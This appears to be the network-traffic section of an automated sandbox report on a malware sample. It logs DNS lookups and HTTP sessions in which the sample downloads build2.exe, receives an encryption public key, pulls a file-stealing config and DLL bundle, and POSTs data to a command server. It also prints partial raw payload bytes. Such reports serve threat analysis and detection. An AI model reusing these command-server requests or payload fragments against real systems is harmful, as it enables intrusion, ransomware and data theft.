8.8.8.8 192.168.2.7 0x6ac9 No error (0) acacaca.org 5.163.244.118 A (IP address) IN 
(0x0001)

Aug 5, 2022 
11:22:38.782913923 CEST

8.8.8.8 192.168.2.7 0x6ac9 No error (0) acacaca.org 222.236.49.124 A (IP address) IN 
(0x0001)

Aug 5, 2022 
11:22:38.782913923 CEST

8.8.8.8 192.168.2.7 0x6ac9 No error (0) acacaca.org 41.41.255.235 A (IP address) IN 
(0x0001)

Aug 5, 2022 
11:22:38.782913923 CEST

8.8.8.8 192.168.2.7 0x6ac9 No error (0) acacaca.org 211.119.84.112 A (IP address) IN 
(0x0001)

Aug 5, 2022 
11:22:38.782913923 CEST

8.8.8.8 192.168.2.7 0x6ac9 No error (0) acacaca.org 189.164.252.207 A (IP address) IN 
(0x0001)

Aug 5, 2022 
11:22:38.782913923 CEST

8.8.8.8 192.168.2.7 0x6ac9 No error (0) acacaca.org 115.88.24.203 A (IP address) IN 
(0x0001)

Aug 5, 2022 
11:22:38.782913923 CEST

8.8.8.8 192.168.2.7 0x6ac9 No error (0) acacaca.org 115.88.24.202 A (IP address) IN 
(0x0001)

Aug 5, 2022 
11:22:38.782913923 CEST

8.8.8.8 192.168.2.7 0x6ac9 No error (0) acacaca.org 210.92.250.133 A (IP address) IN 
(0x0001)

Aug 5, 2022 
11:22:38.782913923 CEST

8.8.8.8 192.168.2.7 0x6ac9 No error (0) acacaca.org 222.236.49.123 A (IP address) IN 
(0x0001)

Aug 5, 2022 
11:22:38.782913923 CEST

8.8.8.8 192.168.2.7 0x6ac9 No error (0) acacaca.org 190.219.54.242 A (IP address) IN 
(0x0001)

Aug 5, 2022 
11:22:48.510196924 CEST

8.8.8.8 192.168.2.7 0x6e7 No error (0) api.2ip.ua 162.0.217.254 A (IP address) IN 
(0x0001)

Aug 5, 2022 
11:22:53.459090948 CEST

8.8.8.8 192.168.2.7 0xfbbb No error (0) t.me 149.154.167.99 A (IP address) IN 
(0x0001)

Aug 5, 2022 
11:22:57.630995989 CEST

8.8.8.8 192.168.2.7 0x7c3c No error (0) api.2ip.ua 162.0.217.254 A (IP address) IN 
(0x0001)

Aug 5, 2022 
11:22:59.588488102 CEST

8.8.8.8 192.168.2.7 0x3eb9 No error (0) api.2ip.ua 162.0.217.254 A (IP address) IN 
(0x0001)

DNS Answers
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api.2ip.ua

            
t.me

            
rgyui.top

            
acacaca.org

            
49.12.9.140:1080

         

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.7 49769 162.0.217.254 443 C:\Users\user\Desktop\2OmglUwx83.exe

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.2.7 49770 162.0.217.254 443 C:\Users\user\Desktop\2OmglUwx83.exe

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

2 192.168.2.7 49774 162.0.217.254 443 C:\Users\user\Desktop\2OmglUwx83.exe

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

3 192.168.2.7 49775 149.154.167.99 443 C:\Users\user\AppData\Local\0ca24ce5-0f24-4ca6-b87c-11cb41906c23\build2.exe

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

4 192.168.2.7 49782 162.0.217.254 443 C:\Users\user\Desktop\2OmglUwx83.exe

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

5 192.168.2.7 49785 162.0.217.254 443 C:\Users\user\Desktop\2OmglUwx83.exe

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

6 192.168.2.7 49771 151.251.24.5 80 C:\Users\user\Desktop\2OmglUwx83.exe

HTTP Request Dependency Graph

HTTP Packets
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Timestamp
kBytes
transferred

Direction Data

Aug 5, 2022 
11:22:38.857196093 
CEST

1021 OUT GET /dl/build2.exe HTTP/1.1
User-Agent: Microsoft Internet Explorer
Host: rgyui.top

Aug 5, 2022 
11:22:39.109101057 
CEST

1023 IN HTTP/1.1 200 OK
Date: Fri, 05 Aug 2022 09:22:38 GMT
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
Last-Modified: Tue, 02 Aug 2022 09:14:30 GMT
ETag: "6d800-5e53e8b405d14"
Accept-Ranges: bytes
Content-Length: 448512
Connection: close
Content-Type: application/octet-stream
Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 
65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 97 40 7c 08 d3 21 12 5b d3 21 12 5b d3 21 12 5b cd 73 87 5b c4 21 12 5b cd 73 
91 5b 5b 21 12 5b f4 e7 69 5b d4 21 12 5b d3 21 13 5b 02 21 12 5b cd 73 96 5b ec 21 12 5b cd 73 86 5b d2 21 12 5b cd 7
3 83 5b d2 21 12 5b 52 69 63 68 d3 21 12 5b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
50 45 00 00 4c 01 06 00 d6 cc d3 61 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 26 03 00 00 7e 04 00 00 00 00 
00 90 b9 00 00 00 10 00 00 00 40 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 
00 00 00 b0 07 00 00 04 00 00 10 a7 07 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 
00 00 00 00 00 00 00 00 00 00 00 24 22 03 00 50 00 00 00 00 a0 06 00 d0 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 70 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 e0 8f 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 14 03 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 82 24 03 00 00 10 00 00 00 26 03 00 00 04 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 88 29 03 00 00 40 03 00 00 9a 02 00 00 2a 03 00 
00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 7a 6f 6e 61 6d 69 00 00 04 00 00 00 70 06 00 00 04 00 00 00 c4 05 0
0 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 79 6f 73 6f 7a 69 00 00 04 00 00 00 80 06 00 00 04 00 00 00 c8 05 
00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6d 61 79 00 00 00 00 96 00 00 00 00 90 06 00 00 02 00 00 00 cc 
05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d0 08 01 00 00 a0 06 00 00 0a 01 00 00 
ce 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 08 30 03 00 00 00 00 00 a4 25 03 00 ba 25 03 00 
Data Ascii: MZ@!L!This program cannot be run in DOS mode.$@|![![![s[![s[[![i[![![![s[![s[![s[![Rich![PELa&~@@$"Pp@.text$
& `.data)@*@.zonamip@.yosozi@.may@.rsrc@@0%%

Session ID Source IP Source Port Destination IP Destination Port Process

7 192.168.2.7 49772 5.163.244.118 80 C:\Users\user\Desktop\2OmglUwx83.exe

Timestamp
kBytes
transferred

Direction Data

Aug 5, 2022 
11:22:38.890502930 
CEST

1022 OUT GET /test2/get.php?pid=3C8DAB0A318E3BBE55D6418C454BF200&first=true HTTP/1.1
User-Agent: Microsoft Internet Explorer
Host: acacaca.org

Aug 5, 2022 
11:22:39.229470015 
CEST

1042 IN HTTP/1.1 200 OK
Date: Fri, 05 Aug 2022 09:22:39 GMT
Server: Apache/2.4.37 (Win64) PHP/5.6.40
X-Powered-By: PHP/5.6.40
Content-Length: 562
Connection: close
Content-Type: text/html; charset=UTF-8
Data Raw: 7b 22 70 75 62 6c 69 63 5f 6b 65 79 22 3a 22 2d 2d 2d 2d 2d 42 45 47 49 4e 26 23 31 36 30 3b 50 55 42 4c 49 
43 26 23 31 36 30 3b 4b 45 59 2d 2d 2d 2d 2d 5c 5c 6e 4d 49 49 42 49 6a 41 4e 42 67 6b 71 68 6b 69 47 39 77 30 42 41 
51 45 46 41 41 4f 43 41 51 38 41 4d 49 49 42 43 67 4b 43 41 51 45 41 70 54 31 4e 50 67 53 79 52 69 75 36 45 6a 2b 41 
52 7a 72 79 5c 5c 6e 4e 39 50 42 69 50 65 41 34 57 5a 6d 6d 57 5a 32 67 77 58 4c 4b 74 6b 47 77 6f 47 61 66 79 36 69 7
a 6b 73 66 71 6f 4f 5a 43 54 73 5c 2f 64 30 78 5a 61 33 69 4f 34 6c 34 73 52 62 70 54 74 44 68 6e 5c 5c 6e 41 58 35 4f 5
0 44 58 64 42 68 4c 46 6f 5a 6c 71 54 38 53 31 54 55 4a 4a 50 5a 5c 2f 70 37 51 6f 52 44 54 6f 31 67 43 64 35 55 53 58 3
3 35 43 77 51 78 4f 4e 46 54 76 6d 72 38 45 6d 6c 35 49 4f 52 5c 5c 6e 67 65 51 63 2b 78 38 79 71 74 45 71 73 7a 37 35 
72 44 48 4d 37 79 4c 6a 41 56 62 71 49 56 48 41 6a 46 30 33 37 46 4f 4a 64 47 33 61 5c 2f 50 5c 2f 55 54 6a 63 6b 79 31 
43 79 57 78 51 44 37 65 41 4a 5c 5c 6e 4d 6b 4a 4d 47 4d 4e 59 51 68 42 32 4f 73 65 78 37 63 41 77 61 53 38 57 66 39 
4c 63 6a 78 4e 35 43 2b 4f 54 6b 69 75 79 48 6a 58 33 4d 41 62 6f 35 69 46 6b 4f 4b 50 39 70 47 42 64 72 6c 66 64 5c 
5c 6e 37 71 4d 4f 6d 56 38 4e 54 4f 4a 72 68 31 42 5c 2f 4a 52 66 30 31 68 69 5c 2f 62 6f 4d 49 6f 30 5c 2f 54 44 64 55 
30 6e 6c 4d 48 38 4d 6a 39 66 34 52 51 69 59 5c 2f 6d 32 35 45 78 4f 6c 73 57 6f 67 56 56 5c 5c 6e 51 51 49 44 41 51 41 
42 5c 5c 6e 2d 2d 2d 2d 2d 45 4e 44 26 23 31 36 30 3b 50 55 42 4c 49 43 26 23 31 36 30 3b 4b 45 59 2d 2d 2d 2d 2d 5c 
5c 6e 22 2c 22 69 64 22 3a 22 4d 7a 43 4a 30 51 79 61 6b 36 52 51 59 4b 69 77 57 72 69 68 34 67 32 52 47 4c 79 30 30 
41 64 4e 4a 59 37 62 7a 6e 41 38 22 7d 
Data Ascii: {"public_key":"-----BEGIN&#160;PUBLIC&#160;KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMI
IBCgKCAQEApT1NPgSyRiu6Ej+ARzry\\nN9PBiPeA4WZmmWZ2gwXLKtkGwoGafy6izksfqoOZCTs\/d0xZa3iO4l4s
RbpTtDhn\\nAX5OPDXdBhLFoZlqT8S1TUJJPZ\/p7QoRDTo1gCd5USX35CwQxONFTvmr8Eml5IOR\\ngeQc+x8yqtE
qsz75rDHM7yLjAVbqIVHAjF037FOJdG3a\/P\/UTjcky1CyWxQD7eAJ\\nMkJMGMNYQhB2Osex7cAwaS8Wf9LcjxN5
C+OTkiuyHjX3MAbo5iFkOKP9pGBdrlfd\\n7qMOmV8NTOJrh1B\/JRf01hi\/boMIo0\/TDdU0nlMH8Mj9f4RQiY\/
m25ExOlsWogVV\\nQQIDAQAB\\n-----END&#160;PUBLIC&#160;KEY-----\\n","id":"MzCJ0Qyak6RQYKiwWrih4g2RGLy0
0AdNJY7bznA8"}
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Session ID Source IP Source Port Destination IP Destination Port Process

8 192.168.2.7 49773 5.163.244.118 80 C:\Users\user\Desktop\2OmglUwx83.exe

Timestamp
kBytes
transferred

Direction Data

Aug 5, 2022 
11:22:43.247170925 
CEST

1495 OUT GET /files/1/build3.exe HTTP/1.1
User-Agent: Microsoft Internet Explorer
Host: acacaca.org

Aug 5, 2022 
11:22:43.553839922 
CEST

1496 IN HTTP/1.1 404 Not Found
Date: Fri, 05 Aug 2022 09:22:43 GMT
Server: Apache/2.4.37 (Win64) PHP/5.6.40
Content-Length: 216
Connection: close
Content-Type: text/html; charset=iso-8859-1
Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 
48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 
6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 
6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 66 69 6c 65 73 2f 31 2f 
62 75 69 6c 64 33 2e 65 78 65 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 
3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 
Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL /files/1/build3.exe was not found on this server.</p></body></html>

Session ID Source IP Source Port Destination IP Destination Port Process

9 192.168.2.7 49780 49.12.9.140 1080 C:\Users\user\AppData\Local\0ca24ce5-0f24-4ca6-b87c-11cb41906c23\build2.exe

Timestamp
kBytes
transferred

Direction Data

Aug 5, 2022 
11:22:56.148813009 
CEST

1593 OUT GET /517 HTTP/1.1
Host: 49.12.9.140:1080

Aug 5, 2022 
11:22:56.244297981 
CEST

1605 IN HTTP/1.1 200 OK
Server: nginx
Date: Fri, 05 Aug 2022 09:22:56 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Data Raw: 37 31 0d 0a 31 2c 31 2c 31 2c 31 2c 30 2c 36 38 39 34 30 66 39 64 37 37 33 63 32 61 36 37 63 33 36 39 30 
66 34 31 36 36 63 30 35 34 31 38 2c 31 2c 31 2c 31 2c 31 2c 32 35 30 2c 44 45 53 4b 54 4f 50 3b 25 44 4f 43 55 4d 45 4e 
54 53 25 5c 3b 2a 2e 74 78 74 3b 33 30 30 3b 66 61 6c 73 65 3b 6d 6f 76 69 65 73 3a 6d 75 73 69 63 3a 6d 70 33 3b 6c 
6e 6b 3b 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 711,1,1,1,0,68940f9d773c2a67c3690f4166c05418,1,1,1,1,250,DESKTOP;%DOCUMENTS%\;*.txt;300;
false;movies:music:mp3;lnk;0

Aug 5, 2022 
11:22:56.259978056 
CEST

1605 OUT GET /2277399138.zip HTTP/1.1
Host: 49.12.9.140:1080
Cache-Control: no-cache
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Aug 5, 2022 
11:22:56.283451080 
CEST

1607 IN HTTP/1.1 200 OK
Server: nginx
Date: Fri, 05 Aug 2022 09:22:56 GMT
Content-Type: application/zip
Content-Length: 3642574
Last-Modified: Mon, 04 Jul 2022 10:49:28 GMT
Connection: keep-alive
ETag: "62c2c5b8-3794ce"
Accept-Ranges: bytes
Data Raw: 50 4b 03 04 14 00 00 00 08 00 10 6e 55 53 4b 12 b5 9b fc b5 00 00 48 47 01 00 10 00 1c 00 76 63 72 75 6e 74 
69 6d 65 31 34 30 2e 64 6c 6c 55 54 09 00 03 b0 6f 71 61 b0 6f 71 61 75 78 0b 00 01 04 00 00 00 00 04 00 00 00 00 ec fd 
0b 40 54 d5 bb 38 0c ef 61 06 18 71 60 46 05 45 45 1d 15 6f e1 65 98 e1 3e c3 55 06 f1 82 0e 22 e0 0d 11 b9 38 20 02 c1 
1e d4 14 45 07 ca 71 37 e5 af ac ac ac 34 ad 9f 95 95 95 99 99 19 88 09 98 29 5e 32 4b 2b 34 aa 4d 43 8a 4a 80 4a ce f7 
3c 6b ef 81 01 c5 73 ce ff 7d cf 7b be f7 fb 0e ba f6 65 5d 9e f5 ac 67 3d b7 b5 f6 5a 6b e2 16 6e a5 84 14 45 89 20 58 ad 
14 75 88 e2 fe 22 a8 ff f8 af 19 82 db 88 c3 6e d4 81 3e df 8e 3c 24 98 f5 ed c8 79 fa ec 22 79 41 61 fe f2 c2 b4 95 f2 f4 b4 
bc bc 7c 5a be 2c 53 5e 68 c8 93 67 e7 c9 a3 e7 24 c8 57 e6 67 64 4e 76 75 75 f1 e6 61 08 ee ec 9e ad dd fe ed 30 5b b8 
29 1a 35 6c 1a dc 67 d5 2f 19 36 9b c4 9d 1a 96 0b f7 1d 77 6b bd 12 c9 fd b4 57 12 b9 d7 78 45 92 fb d7 5e a9 e4 fe ad 
57 34 b9 2b 87 71 f7 33 e4 7d 6e 76 ba 1e e1 da 70 d6 69 29 6a 96 c0 91 92 04 8d 5b 60 8b ab a7 46 8d ec 2b 70 eb 4b 
fd 09 2f 72 3e f2 03 08 32 82 21 45 9e f0 d9 81 a2 9c e0 e6 42 71 77 8e 50 02 42 bc 23 fd 1c 80 8e 11 91 a4 90 8c 2b c2 
dd b9 db 7e 20 96 7b 1f 8a aa 90 09 a8 a7 31 52 2e a0 c4 22 3b 62 8a 05 54 6c 38 dc 15 02 6a 1b 54 b0 7f 04 45 05 3d 
82 f6 ec 88 1e 7d 04 70 8f 3c 22 ff 64 3a 73 35 0d f7 e3 8d 3c 42 d8 56 51 f7 3c d0 f4 a5 93 33 d2 e8 34 78 8e 76 e2 db 
0e 6d a6 ae 77 cf 07 f5 56 4c ce e6 32 1e 72 e4 ea 26 04 69 7e 20 5f c4 e4 c2 a2 c2 74 6c 9e 88 6b 33 c9 d7 fa b0 7c 99 
b9 f9 90 11 db 8e 34 a0 24 70 ef 78 20 5f d4 23 9a f8 bf 7f ff 07 7f 05 63 e1 52 07 17 41 33 3e 6d 1d 07 97 88 f1 18 f7 18 
26 fb 40 d0 e1 65 2b 5e 76 e2 65 3f 5e 2a f0 52 87 17 f9 44 b8 28 f0 12 81 97 7a bc c8 26 61 2a 5e a8 c9 f8 8a 97 a5 78 
69 56 62 09 3f 4c 40 e6 56 04 23 bc 10 7c d5 e0 13 5e a8 50 2c 11 86 25 f0 52 81 97 7a bc 50 28 1d a5 78 59 1a 81 88 
47 63 02 5e 28 2d 56 8e 97 02 f2 14 83 38 e3 65 29 5e b6 e2 85 9a 86 f5 e2 25 02 2f 4b f1 a2 98 8e f0 66 22 a6 78 69 c6 
0b 35 0b f3 e1 25 02 2f a5 e4 35 0e d1 c0 4b c1 3b 18 87 97 ad 78 d9 8f 97 0a f2 f4 2e e6 7b 0f 81 e2 25 02 2f 4b f1 52 
40 5e f7 61 09 bc d4 e1 85 68 96 f1 70 11 b4 e3 45 b4 1f 2e 8a fd 08 0a 2f e2 8f b0 ec c7 48 6c bc c8 3f 41 a0 78 89 c7 cb 
8b 78 a1 3e 85 12 05 07 91 4c 5f 20 0d ea 10 fc 59 7c fd 1e 9f ae 60 63 7e c2 b2 bf 20 a8 7a c4 e0 37 c4 05 2f 4b 7f 87 b2 
3b f1 52 f7 3b 26 b0 08 0a 55 81 ce 82 55 5a 1e e0 0f d4 7e a5 72 4a 06 99 64 0a 07 81 ac 14 02 c5 75 b6 6c af 3b 25 6b 
80 20 f7 a0 64 b2 a1 94 cc 1b 42 04 84 79 10 68 08 fb 20 fe 10 84 0a 08 a7 20 5c 82 d0 00 a1 19 02 35 90 92 49 20 b8 43 
f0 82 30 1e 82 1f 84 b0 81 9c d6 8c 80 7b 2c 04 1d 84 79 10 e6 43 58 0c 61 29 84 0c 08 7a 08 b9 10 56 43 58 07 a1 14 
42 19 84 cd 10 9e 86 b0 15 c2 36 08 db 21 ec 80 b0 13 c2 1e 08 7b 21 ec 83 b0 1f c2 01 08 87 20 1c 81 50 01 e1 38 84 
1a 08 a7 20 d4 41 b8 00 e1 12 84 2b 10 ea 21 34 40 60 21 34 41 68 86 d0 82 b8 0e 82 76 40 70 87 20 87 10 04 21 1a c2 
7c 08 ab 21 6c 87 70 08 c2 25 08 ed 10 bc 3c 21 0f 84 c5 10 d6 41 d8 03 a1 02 42 1d 84 0b 10 ae 40 68 82 20 1b 4c c9 
3c 21 78 43 f0 83 a0 83 50 00 61 3b 84 0a 08 2c 04 f7 21 d0 27 10 e6 41 58 0d 61 0f 84 3a 08 4d 10 3a 86 70 b4 4c cc 5b 
91 97 bf 2a 4f 9e b9 3a 3d b3 80 ce ce cf 03 da 2e 4b cb 
Data Ascii: PKnUSKHGvcruntime140.dllUToqaoqaux@T8aq`FEEoe>U"8 Eq74)^2K+4MCJJ<ks}{e]g=ZknE Xu"n><$y"y
Aa|Z,S^hg$WgdNvuua0[)5lg/6wkWxE^W4+q3}nvpi)j[`F+pK/r>2!EBqwPB#+~ {1R.";bTl8jTE=}p<"d:s5<BVQ<34xvmwVL
2r&i~ _tlk3|4$px _#cRA3>m&@e+^ve?^*RD(z&a*^xiVb?L@V#|^P,%RzP(xYGc^(-V8e)^%/Kf"xi5%/5K;x.{%/KR@^ahpE.
/Hl?Axx>L_ Y|`c~ z7/K;R;&UUZ~rJdul;%k dByh  \5I C0{,yCXa)zVCXB6!{! P8 A+!4@`!4Ahv@p !|!lp%<!AB@h L<!
xCPa;,!'AXa:M:pL[*O:=.K

Aug 5, 2022 
11:23:04.339893103 
CEST

5508 OUT POST / HTTP/1.1
Content-Type: multipart/form-data; boundary=----8838260965650276
Host: 49.12.9.140:1080
Content-Length: 118025
Connection: Keep-Alive
Cache-Control: no-cache

Aug 5, 2022 
11:23:04.874059916 
CEST

5639 IN HTTP/1.1 200 OK
Server: nginx
Date: Fri, 05 Aug 2022 09:23:04 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Data Raw: 34 0d 0a 6f 6b 20 38 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 4ok 80

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

0 192.168.2.7 49769 162.0.217.254 443 C:\Users\user\Desktop\2OmglUwx83.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-05 09:22:26 UTC 0 OUT GET /geo.json HTTP/1.1
User-Agent: Microsoft Internet Explorer
Host: api.2ip.ua

HTTPS Proxied Packets
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2022-08-05 09:22:26 UTC 0 IN HTTP/1.1 429 Too Many Requests
Date: Fri, 05 Aug 2022 09:22:26 GMT
Server: Apache
Strict-Transport-Security: max-age=63072000; preload
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block; report=...
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE
Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type
Upgrade: h2,h2c
Connection: Upgrade, close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

2022-08-05 09:22:26 UTC 0 IN Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 
6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 
20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 
6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 
61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6
d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 
32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 
Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects 
has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2i
p.me</a>. <br><br> 

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

1 192.168.2.7 49770 162.0.217.254 443 C:\Users\user\Desktop\2OmglUwx83.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-05 09:22:37 UTC 1 OUT GET /geo.json HTTP/1.1
User-Agent: Microsoft Internet Explorer
Host: api.2ip.ua

2022-08-05 09:22:37 UTC 1 IN HTTP/1.1 429 Too Many Requests
Date: Fri, 05 Aug 2022 09:22:37 GMT
Server: Apache
Strict-Transport-Security: max-age=63072000; preload
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block; report=...
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE
Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type
Upgrade: h2,h2c
Connection: Upgrade, close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

2022-08-05 09:22:37 UTC 1 IN Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 
6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 
20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 
6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 
61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6
d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 
32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 
Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects 
has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2i
p.me</a>. <br><br> 

Session ID Source IP Source Port Destination IP
Destination
Port

Process

2 192.168.2.7 49774 162.0.217.254 443 C:\Users\user\Desktop\2OmglUwx83.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-05 09:22:48 UTC 2 OUT GET /geo.json HTTP/1.1
User-Agent: Microsoft Internet Explorer
Host: api.2ip.ua
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2022-08-05 09:22:48 UTC 2 IN HTTP/1.1 429 Too Many Requests
Date: Fri, 05 Aug 2022 09:22:48 GMT
Server: Apache
Strict-Transport-Security: max-age=63072000; preload
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block; report=...
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE
Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type
Upgrade: h2,h2c
Connection: Upgrade, close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

